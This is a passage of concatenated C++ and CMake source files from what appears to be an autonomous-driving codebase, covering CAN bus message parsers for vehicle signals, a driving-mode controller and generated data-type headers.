static_cast<Ibc_status_0x122_122::Ibc_driver_interveneType>(x); return ret; } // config detail: {'name': 'ibc_systemstatus', 'enum': {0: 'IBC_SYSTEMSTATUS_SYSTEM_NO_FAULT', 1: 'IBC_SYSTEMSTATUS_SYSTEM_WARING', 2: 'IBC_SYSTEMSTATUS_SYSTEM_FAULT', 3: 'IBC_SYSTEMSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Ibc_status_0x122_122::Ibc_systemstatusType Ibcstatus0x122122::ibc_systemstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(6, 2); Ibc_status_0x122_122::Ibc_systemstatusType ret = static_cast<Ibc_status_0x122_122::Ibc_systemstatusType>(x); return ret; } } // namespace teshun } // namespace canbus } // namespace jmc_auto <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/esp_vlc_0x223_223.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Espvlc0x223223::Espvlc0x223223() {} const int32_t Espvlc0x223223::ID = 0x223; void Espvlc0x223223::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_esp_vlc_0x223_223()->set_esp_vlc_internaltargetacce(esp_vlc_internaltargetacce(bytes, length)); chassis->mutable_cx75()->mutable_esp_vlc_0x223_223()->set_esp_apa_gearboxenable(esp_apa_gearboxenable(bytes, length)); chassis->mutable_cx75()->mutable_esp_vlc_0x223_223()->set_esp_target_gear_request(esp_target_gear_request(bytes, length)); chassis->mutable_cx75()->mutable_esp_vlc_0x223_223()->set_esp_vlc_apactive(esp_vlc_apactive(bytes, length)); chassis->mutable_cx75()->mutable_esp_vlc_0x223_223()->set_esp_pam_lc_failurests(esp_pam_lc_failurests(bytes, length)); chassis->mutable_cx75()->mutable_esp_vlc_0x223_223()->set_esp_pam_lc_status(esp_pam_lc_status(bytes, length)); chassis->mutable_cx75()->mutable_esp_vlc_0x223_223()->set_rolling_counter_0x223(rolling_counter_0x223(bytes, length)); chassis->mutable_cx75()->mutable_esp_vlc_0x223_223()->set_esp_vlc_active(esp_vlc_active(bytes, length)); chassis->mutable_cx75()->mutable_esp_vlc_0x223_223()->set_esp_vlc_available(esp_vlc_available(bytes, length)); chassis->mutable_cx75()->mutable_esp_vlc_0x223_223()->set_esp_vlcapa_available(esp_vlcapa_available(bytes, length)); chassis->mutable_cx75()->mutable_esp_vlc_0x223_223()->set_esp_vlcengtorqreqact(esp_vlcengtorqreqact(bytes, length)); chassis->mutable_cx75()->mutable_esp_vlc_0x223_223()->set_checksum_0x223(checksum_0x223(bytes, length)); chassis->mutable_cx75()->mutable_esp_vlc_0x223_223()->set_esp_vlcengtorqreq(esp_vlcengtorqreq(bytes, length)); chassis->mutable_check_response()->set_is_esp_online( esp_vlc_active(bytes, length) == 1); chassis->mutable_check_response()->set_is_apa_online( esp_vlc_apactive(bytes, length) == 1); } // config detail: {'name': 'esp_vlc_internaltargetacce', 'offset': -7.0, 'precision': 0.05, 'len': 8, 'is_signed_var': False, 'physical_range': '[-7|5.75]', 'bit': 23, 'type': 'double', 'order': 'motorola', 'physical_unit': ''} double Espvlc0x223223::esp_vlc_internaltargetacce(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 8); double ret = x * 0.050000 + -7.000000; return ret; } // config detail: {'name': 'esp_apa_gearboxenable', 'enum': {0: 'ESP_APA_GEARBOXENABLE_NO_REQUEST', 1: 'ESP_APA_GEARBOXENABLE_GEAR_SHIFT_REQUEST'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 28, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_vlc_0x223_223::Esp_apa_gearboxenableType Espvlc0x223223::esp_apa_gearboxenable(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(3, 2); Esp_vlc_0x223_223::Esp_apa_gearboxenableType ret = static_cast<Esp_vlc_0x223_223::Esp_apa_gearboxenableType>(x); return ret; } // config detail: {'name': 'esp_target_gear_request', 'enum': {0: 'ESP_TARGET_GEAR_REQUEST_NO_REQUEST', 1: 'ESP_TARGET_GEAR_REQUEST_PARK', 2: 'ESP_TARGET_GEAR_REQUEST_REVERSE', 3: 'ESP_TARGET_GEAR_REQUEST_NEUTRAL', 4: 'ESP_TARGET_GEAR_REQUEST_DRIVE'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_vlc_0x223_223::Esp_target_gear_requestType Espvlc0x223223::esp_target_gear_request(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(5, 3); Esp_vlc_0x223_223::Esp_target_gear_requestType ret = static_cast<Esp_vlc_0x223_223::Esp_target_gear_requestType>(x); return ret; } // config detail: {'name': 'esp_vlc_apactive', 'enum': {0: 'ESP_VLC_APACTIVE_NOT_ACTIVE', 1: 'ESP_VLC_APACTIVE_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 32, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_vlc_0x223_223::Esp_vlc_apactiveType Espvlc0x223223::esp_vlc_apactive(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(0, 1); Esp_vlc_0x223_223::Esp_vlc_apactiveType ret = static_cast<Esp_vlc_0x223_223::Esp_vlc_apactiveType>(x); return ret; } // config detail: {'name': 'esp_pam_lc_failurests', 'enum': {0: 'ESP_PAM_LC_FAILURESTS_NO_ERROR', 1: 'ESP_PAM_LC_FAILURESTS_VEHICLE_BLOCKED', 2: 'ESP_PAM_LC_FAILURESTS_UNEXPECTED_GEARPOSITION', 3: 'ESP_PAM_LC_FAILURESTS_UNEXPECTED_EPB_ACTION', 4: 'ESP_PAM_LC_FAILURESTS_UNEXPECTED_ACCPEDALINTERVENTION', 5: 'ESP_PAM_LC_FAILURESTS_UNEXPECTED_GEARINTERVENTION', 7: 'ESP_PAM_LC_FAILURESTS_ERROR'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 35, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_vlc_0x223_223::Esp_pam_lc_failurestsType Espvlc0x223223::esp_pam_lc_failurests(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(1, 3); Esp_vlc_0x223_223::Esp_pam_lc_failurestsType ret = static_cast<Esp_vlc_0x223_223::Esp_pam_lc_failurestsType>(x); return ret; } // config detail: {'name': 'esp_pam_lc_status', 'enum': {0: 'ESP_PAM_LC_STATUS_OFF', 1: 'ESP_PAM_LC_STATUS_STANDBY', 10: 'ESP_PAM_LC_STATUS_ERROR', 4: 'ESP_PAM_LC_STATUS_ACTIVE_AUTOMATICPARK'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_vlc_0x223_223::Esp_pam_lc_statusType Espvlc0x223223::esp_pam_lc_status(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(4, 4); Esp_vlc_0x223_223::Esp_pam_lc_statusType ret = static_cast<Esp_vlc_0x223_223::Esp_pam_lc_statusType>(x); return ret; } // config detail: {'name': 'rolling_counter_0x223', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Espvlc0x223223::rolling_counter_0x223(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'esp_vlc_active', 'enum': {0: 'ESP_VLC_ACTIVE_NOT_ACTIVE', 1: 'ESP_VLC_ACTIVE_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 52, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_vlc_0x223_223::Esp_vlc_activeType Espvlc0x223223::esp_vlc_active(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(4, 1); Esp_vlc_0x223_223::Esp_vlc_activeType ret = static_cast<Esp_vlc_0x223_223::Esp_vlc_activeType>(x); return ret; } // config detail: {'name': 'esp_vlc_available', 'enum': {0: 'ESP_VLC_AVAILABLE_NOT_AVAILABLE', 1: 'ESP_VLC_AVAILABLE_AVAILABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_vlc_0x223_223::Esp_vlc_availableType Espvlc0x223223::esp_vlc_available(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(5, 1); Esp_vlc_0x223_223::Esp_vlc_availableType ret = static_cast<Esp_vlc_0x223_223::Esp_vlc_availableType>(x); return ret; } // config detail: {'name': 'esp_vlcapa_available', 'enum': {0: 'ESP_VLCAPA_AVAILABLE_NOT_AVAILABLE', 1: 'ESP_VLCAPA_AVAILABLE_AVAILABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 54, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_vlc_0x223_223::Esp_vlcapa_availableType Espvlc0x223223::esp_vlcapa_available(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(6, 1); Esp_vlc_0x223_223::Esp_vlcapa_availableType ret = static_cast<Esp_vlc_0x223_223::Esp_vlcapa_availableType>(x); return ret; } // config detail: {'name': 'esp_vlcengtorqreqact', 'enum': {0: 'ESP_VLCENGTORQREQACT_VALID', 1: 'ESP_VLCENGTORQREQACT_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_vlc_0x223_223::Esp_vlcengtorqreqactType Espvlc0x223223::esp_vlcengtorqreqact(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(7, 1); Esp_vlc_0x223_223::Esp_vlcengtorqreqactType ret = static_cast<Esp_vlc_0x223_223::Esp_vlcengtorqreqactType>(x); return ret; } // config detail: {'name': 'checksum_0x223', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Espvlc0x223223::checksum_0x223(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'esp_vlcengtorqreq', 'offset': -30000.0, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'physical_range': '[-30000|30000]', 'bit': 7, 'type': 'int', 'order': 'motorola', 'physical_unit': 'Nm'} int Espvlc0x223223::esp_vlcengtorqreq(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 1); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; int ret = x + -30000.000000; return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(relative_map_lib relative_map.cc relative_map.h relative_map_interface.h) target_link_libraries(relative_map_lib navigation_lane_lib common jmc_auto_app adapter_manager geometry status util relative_map_gflags navigation_proto relative_map_config_proto perception_proto) add_library(navigation_lane_lib navigation_lane.cc navigation_lane.h) target_link_libraries(navigation_lane_lib jmcauto_log pnc_point_proto vehicle_state_provider localization_proto relative_map_gflags navigation_proto relative_map_config_proto perception_proto) <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/vehicle_controller.h" #include "modules/common/log.h" namespace jmc_auto { namespace canbus { using common::ErrorCode; using control::ControlCommand; Chassis::DrivingMode VehicleController::driving_mode() { std::lock_guard<std::mutex> lock(mode_mutex_); return driving_mode_; } void VehicleController::set_driving_mode( const Chassis::DrivingMode &driving_mode) { std::lock_guard<std::mutex> lock(mode_mutex_); driving_mode_ = driving_mode; } ErrorCode VehicleController::SetDrivingMode( const Chassis::DrivingMode &driving_mode) { if (driving_mode == Chassis::EMERGENCY_MODE) { AINFO << "Can't set vehicle to EMERGENCY_MODE driving mode."; return ErrorCode::CANBUS_ERROR; } // vehicle in emergency mode only response to manual mode to reset. if (driving_mode_ == Chassis::EMERGENCY_MODE && !(driving_mode == Chassis::COMPLETE_MANUAL||driving_mode == Chassis::AUTO_SPEED_ONLY)) { AINFO << "Vehicle in EMERGENCY_MODE, only response to COMPLETE_MANUAL mode or REMOTE_MODE."; AINFO << "Only response to RESET ACTION."; return ErrorCode::CANBUS_ERROR; } // if current mode is same as previous, no need to set. if (driving_mode_ == driving_mode) { return ErrorCode::OK; } switch (driving_mode) { case Chassis::COMPLETE_AUTO_DRIVE: { if (EnableAutoMode() != ErrorCode::OK) { AERROR << "Failed to enable auto mode."; return ErrorCode::CANBUS_ERROR; } break; } case Chassis::COMPLETE_MANUAL: { if (DisableAutoMode() != ErrorCode::OK) { AERROR << "Failed to disable auto mode."; return ErrorCode::CANBUS_ERROR; } break; } case Chassis::AUTO_STEER_ONLY: { if (EnableSteeringOnlyMode() != ErrorCode::OK) { AERROR << "Failed to enable speed only mode."; return ErrorCode::CANBUS_ERROR; } break; } case Chassis::AUTO_SPEED_ONLY: { if (EnableSpeedOnlyMode() != ErrorCode::OK) { AERROR << "Failed to enable speed only mode"; return ErrorCode::CANBUS_ERROR; } break; } case Chassis::REMOTE_MODE: { if (EnableRemoteMode() != ErrorCode::OK) { AERROR << "Failed to enable remote mode"; return ErrorCode::CANBUS_ERROR; } break; } case Chassis::APA_MODE: { if (EnableAPAMode() != ErrorCode::OK) { AERROR << "Failed to enable APA mode"; return ErrorCode::CANBUS_ERROR; } break; } default: break; } return ErrorCode::OK; } ErrorCode VehicleController::Update(const ControlCommand &command) { if (!is_initialized_) { AERROR << "Controller is not initialized."; return ErrorCode::CANBUS_ERROR; } ControlCommand control_command; control_command.CopyFrom(command); // Execute action to transform driving mode if (control_command.has_pad_msg() && control_command.pad_msg().has_action()) { if (control_command.pad_msg().action() != control::DrivingAction::INVALID) { AINFO << "Canbus received pad msg: " << control_command.pad_msg().ShortDebugString(); Chassis::DrivingMode mode = Chassis::COMPLETE_MANUAL; switch (control_command.pad_msg().action()) { case control::DrivingAction::START: { mode = Chassis::COMPLETE_AUTO_DRIVE; break; } case control::DrivingAction::STOP: case control::DrivingAction::RESET: { // In mode break; } default: { AERROR << "No response for this action."; break; } } SetDrivingMode(mode); } } /* if (control_command.has_driving_mode()) { SetDrivingMode(control_command.driving_mode()); AINFO<<"driving_mode."<<control_command.driving_mode(); } */ AINFO<<"driving_mode_:"<<driving_mode_; if (driving_mode_ == Chassis::COMPLETE_AUTO_DRIVE || driving_mode_ == Chassis::AUTO_SPEED_ONLY|| driving_mode_ == Chassis::REMOTE_MODE) { // Acceleration(control_command.acceleration()); Gear(control_command.gear_location()); SpeedTarget(control_command.speed()); PamStopDistance(control_command.pam_esp_stop_distance()); // SetEpbBreak(control_command); // SetLimits(); } if (driving_mode_ == Chassis::COMPLETE_AUTO_DRIVE || driving_mode_ == Chassis::AUTO_STEER_ONLY || driving_mode_ == Chassis::AUTO_SPEED_ONLY|| driving_mode_ == Chassis::REMOTE_MODE) { // SteerTorque(control_command.steering_torque()); Steer(control_command.steering_angle()); } if ((driving_mode_ == Chassis::COMPLETE_AUTO_DRIVE || driving_mode_ == Chassis::AUTO_SPEED_ONLY || driving_mode_ == Chassis::AUTO_STEER_ONLY) && control_command.has_signal()) { SetHorn(control_command); SetTurningSignal(control_command); SetBeam(control_command); } return ErrorCode::OK; } } // namespace canbus } // namespace jmc_auto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_sonar_h #define impl_type_sonar_h #include "impl_type_double.h" #include "impl_type_quaternion.h" #include "impl_type_point3d.h" struct Sonar { ::Double range; ::Point3D translation; ::Quaternion rotation; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(range); fun(translation); fun(rotation); } template<typename F> void enumerate(F& fun) const { fun(range); fun(translation); fun(rotation); } bool operator == (const ::Sonar& t) const { return (range == t.range) && (translation == t.translation) && (rotation == t.rotation); } }; #endif // impl_type_sonar_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) file(GLOB_RECURSE GENERATED_SOURCE ${PROJECT_SOURCE_DIR}/generated/*.cpp) add_subdirectory(proto) add_library(adapter_gflags adapter_gflags.cc adapter_gflags.h) target_link_libraries(adapter_gflags gflags) add_library(adapter_manager adapter_manager.cc adapter_manager.h ${GENERATED_SOURCE} ) target_link_libraries(adapter_manager ${COMMON_LIB} adapter_gflags message_adapters common adapter_config_proto #monitor_log_proto #transform_listener util glog pb_convertor) add_library(adapter INTERFACE) target_link_libraries(adapter INTERFACE ${COMMON_LIB} adapter_gflags common_proto time util protobuf glog) add_library(message_adapters INTERFACE) target_link_libraries(message_adapters INTERFACE ${COMMON_LIB} adapter #relative_odometry_proto canbus_proto #monitor_log_proto drive_event_proto control_proto static_info_proto gnss_best_pose_proto gnss_raw_observation_proto gnss_status_proto gnss_imu_proto ins_proto #sensor_proto gps_proto imu_proto heading_proto gnss_proto localization_proto sins_pva_proto navigation_proto #system_status_proto perception_proto planning_proto prediction_proto routing_proto glog)<file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_frenetframepoint_h #define impl_type_frenetframepoint_h #include "impl_type_double.h" struct FrenetFramePoint { ::Double s; ::Double l; ::Double dl; ::Double ddl; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(s); fun(l); fun(dl); fun(ddl); } template<typename F> void enumerate(F& fun) const { fun(s); fun(l); fun(dl); fun(ddl); } bool operator == (const ::FrenetFramePoint& t) const { return (s == t.s) && (l == t.l) && (dl == t.dl) && (ddl == t.ddl); } }; #endif // impl_type_frenetframepoint_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_loglevel_h #define impl_type_loglevel_h #include "impl_type_uint8.h" enum class LogLevel : UInt8 { INFO = 0, WARN = 1, ERROR = 2, FATAL = 3 }; #endif // impl_type_loglevel_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(static_info_proto static_info.pb.cc static_info.pb.h) target_link_libraries(static_info_proto canbus_proto vehicle_config_proto control_proto routing_proto protobuf) add_library(recorder_info_proto recorder_info.pb.cc recorder_info.pb.h) target_link_libraries(recorder_info_proto protobuf) add_library(task_proto task.pb.cc task.pb.h) target_link_libraries(task_proto static_info_proto protobuf) add_library(warehouse_query_proto warehouse_query.pb.cc warehouse_query.pb.h) target_link_libraries(warehouse_query_proto task_proto protobuf)<file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_subdirectory(protocol) add_library(cx75_vehicle_factory cx75_vehicle_factory.cc cx75_vehicle_factory.h) target_link_libraries(cx75_vehicle_factory cx75_controller cx75_message_manager abstract_vehicle_factory) add_library(cx75_message_manager cx75_message_manager.cc cx75_message_manager.h) target_link_libraries(cx75_message_manager canbus_common canbus_proto message_manager_base canbus_cx75_protocol) add_library(cx75_controller cx75_controller.cc cx75_controller.h) target_link_libraries(cx75_controller cx75_message_manager can_sender canbus_common canbus_proto message_manager_base vehicle_controller_base canbus_cx75_protocol)<file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_SRS_0X350_350_H_ #define MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_SRS_0X350_350_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Srs0x350350 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Srs0x350350(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'SRS_SBR_SecondRowRight', 'enum': {0: 'SRS_SBR_SECONDROWRIGHT_LAMP_OFF', 1: 'SRS_SBR_SECONDROWRIGHT_LAMP_FLASHING_RESERVED', 2: 'SRS_SBR_SECONDROWRIGHT_LAMP_ON', 3: 'SRS_SBR_SECONDROWRIGHT_FAULT_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Srs_0x350_350::Srs_sbr_secondrowrightType srs_sbr_secondrowright(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'SRS_SBR_SecondRowMid', 'enum': {0: 'SRS_SBR_SECONDROWMID_LAMP_OFF', 1: 'SRS_SBR_SECONDROWMID_LAMP_FLASHING_RESERVED', 2: 'SRS_SBR_SECONDROWMID_LAMP_ON', 3: 'SRS_SBR_SECONDROWMID_FAULT_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 13, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Srs_0x350_350::Srs_sbr_secondrowmidType srs_sbr_secondrowmid(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'SRS_SBR_SecondRowLeft', 'enum': {0: 'SRS_SBR_SECONDROWLEFT_LAMP_OFF', 1: 'SRS_SBR_SECONDROWLEFT_LAMP_FLASHING_RESERVED', 2: 'SRS_SBR_SECONDROWLEFT_LAMP_ON', 3: 'SRS_SBR_SECONDROWLEFT_FAULT_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Srs_0x350_350::Srs_sbr_secondrowleftType srs_sbr_secondrowleft(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'SRS_SBR_PAMsenger', 'enum': {0: 'SRS_SBR_PAMSENGER_LAMP_OFF', 1: 'SRS_SBR_PAMSENGER_LAMP_FLASHING_RESERVED', 2: 'SRS_SBR_PAMSENGER_LAMP_ON', 3: 'SRS_SBR_PAMSENGER_FAULT_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 4, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Srs_0x350_350::Srs_sbr_pamsengerType srs_sbr_pamsenger(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Rolling_counter_0x350', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int rolling_counter_0x350(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'SRS_SBR_Driver', 'enum': {0: 'SRS_SBR_DRIVER_LAMP_OFF', 1: 'SRS_SBR_DRIVER_LAMP_FLASHING_RESERVED', 2: 'SRS_SBR_DRIVER_LAMP_ON', 3: 'SRS_SBR_DRIVER_FAULT_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 6, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Srs_0x350_350::Srs_sbr_driverType srs_sbr_driver(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Checksum_0x350', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int checksum_0x350(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'SRS_CrashOutputSts', 'enum': {0: 'SRS_CRASHOUTPUTSTS_NO_CRASH', 1: 'SRS_CRASHOUTPUTSTS_CRASH'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Srs_0x350_350::Srs_crashoutputstsType srs_crashoutputsts(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'SRS_AirBagFailSts', 'enum': {0: 'SRS_AIRBAGFAILSTS_LAMP_OFF', 1: 'SRS_AIRBAGFAILSTS_LAMP_FLASH', 2: 'SRS_AIRBAGFAILSTS_LAMP_ON', 3: 'SRS_AIRBAGFAILSTS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 8, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Srs_0x350_350::Srs_airbagfailstsType srs_airbagfailsts(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_cx75_PROTOCOL_SRS_0X350_350_H_ <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/gw_swm_body_0x31a_31a.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Gwswmbody0x31a31a::Gwswmbody0x31a31a() {} const int32_t Gwswmbody0x31a31a::ID = 0x31A; void Gwswmbody0x31a31a::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_highbeam(swm_highbeam(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_frontwipingmode(swm_frontwipingmode(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_wipinginterval_sensitvity(swm_wipinginterval_sensitvity(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_rearfoglight(swm_rearfoglight(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_frontfoglight(swm_frontfoglight(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_washerlimphomests(swm_washerlimphomests(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_rearwipingmode(swm_rearwipingmode(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_turnindicationact(swm_turnindicationact(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_vol_plus(swm_vol_plus(bytes, length)); 